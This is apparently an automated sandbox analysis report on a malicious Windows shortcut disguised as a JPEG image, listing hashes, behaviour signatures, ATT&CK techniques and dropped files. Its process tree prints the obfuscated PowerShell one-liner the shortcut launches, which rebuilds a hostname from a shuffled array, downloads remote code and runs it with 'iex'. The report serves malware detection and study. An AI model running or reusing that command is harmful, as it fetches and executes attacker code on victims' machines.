b8661379415f131b3f891f7e31916668ec26a2cdcff1aee0f6ffb838e54097c4

Analysis

max time kernel
148s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/07/2026, 07:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_072055.jpg.lnk
Size 1KB
Sample260729-jdwgcsbp21
SHA256 b8661379415f131b3f891f7e31916668ec26a2cdcff1aee0f6ffb838e54097c4
MD5 631a0f605cbe5310ada43a46818c1ec2
SHA1 e5d9344ace1a45dc6b548260ce3ae6517039ddb7
SHA512 49ea65cc5c39fc17b821949aff96efcec6d98eb2874f26c515f4e3bf56a3f802409979e950d4fc4dbd5f05c7488d1c2c7724ef4254aa1db6d94031efd561c415
TLSH
T14931D01DDBF20229D5B74B3558B2631186317B0EDA5C9FDF1280C2945964110F878F2F
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	2664	powershell.exe
6	2664	powershell.exe
11	2664	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4772	cmd.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2664	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4772 wrote to memory of 2664	4772	cmd.exe	90
PID 2664 wrote to memory of 3472	2664	powershell.exe	91
PID 3472 wrote to memory of 3756	3472	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_072055.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('r','h','op','i','vp','no','ot','o','w.sh','a','y','eser','nst')[0,11,4,1,6,7,3,12,9,10,5,8,2] -join $SAa4J) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zdc1evyo\zdc1evyo.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3472
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3E67.tmp" "c:\Users\Admin\AppData\Local\Temp\zdc1evyo\CSC8764DF29D23043049FB422B61A19315F.TMP"
      4⤵
      PID:3756

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES3E67.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3E67.tmp
Size 1KB
SHA256 20d3399cf13701df2f5018b9b99fbac55c630dc648cff404b0a4b6bbd026c45d
MD5 7b029c91f46a474e5a8409b757ae1ccc
SHA1 d765379842f829a8517689f748d86f729eedd378
SHA512 fe189fd8b27427a1ec215a298603f9eb69d3f94ff3d94d0efc7dd008119daa498131742f054b09ca9032c3e71c4160c502943b157a599fec26d4ab3e4dd818b4
TLSH
T13921C00593E8470EF07347326AF6471FE574FC64DF62939F941001292C41204EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

zdc1evyo.dll

Path C:\Users\Admin\AppData\Local\Temp\zdc1evyo\zdc1evyo.dll
Size 3KB
SHA256 2822ef2833c7381776f6cddf32c19922b46459153b15e347b16106010b331887
MD5 2153925a85c7ceaf3230b0d56bc95737
SHA1 6e847c18431404dc2f818488488f88ed01a90200
SHA512 ea22237449882c8a1ca579d778a02ee5848ad4a96c119fcc7a60a8700fa540ffc6d27e0c03c545c612b55f2392b96c2e89b67671d54d047a44afb404a6d99ae7
TLSH
T16A510C16A7E8062BE4770730AFF3036337B4F8108FB357AD19800229AC60B146E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC8764DF29D23043049FB422B61A19315F.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\zdc1evyo\CSC8764DF29D23043049FB422B61A19315F.TMP
Size 652B
SHA256 5502d9c7d780d62b8dd79635d52b0d646dd4a5e6a231426ca035c575495fa783
MD5 cca4d229db64904b8dc51be35b3b021b
SHA1 1df951554b404f17c655c77673ef848cbd8e2e9d
SHA512 e94ad13bb76ac84cf64e6955a744fb6086e649f4daaa46efbdc4902290a5b004a30bdadfa437e7b92d66200353e29bd893cc4cc2c196be3194a780a0081148e6
TLSH
T1FCF05E0963F8020EF0F34B31BDF6836395A9BCA4DE3293ED2450031A2C64A108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

zdc1evyo.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\zdc1evyo\zdc1evyo.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

zdc1evyo.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\zdc1evyo\zdc1evyo.cmdline
Size 369B
SHA256 822e10e1d1bb58cd858008cb27ce84fb642708af05e74b440d052e39cb633d2c
MD5 92d7171a20926c3bbde85bd74513101a
SHA1 e14584fa6a45c7dfd7a884a9f43275a37c21a672
SHA512 ac5ee8962df36cd01fe5a72679f73d87980737be35fdc88d889b0ad4bf3518f60fa525810db5f107985a3455ab49faf2d49654a2484b8712ddf2abb6ba8cb645
TLSH
T11EE06F7B8746C27D02FD1A4B3A6AC4FCC77206832E80FF84904084ADE02B000EBE27B1
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2664-10-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-20-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-11-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-12-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-13-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-14-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-15-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-16-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-17-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-18-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-19-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-2-0x00007FFF9DE2F000-0x00007FFF9DE30000-memory.dmp

Download

memory/2664-9-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-8-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-7-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-33-0x00000279C61B0000-0x00000279C61B8000-memory.dmp

Download

memory/2664-6-0x00000279ACA20000-0x00000279ACA42000-memory.dmp

Download

memory/2664-3-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-34-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-35-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-37-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download

memory/2664-39-0x00007FFF9DCA0000-0x00007FFF9E644000-memory.dmp

Download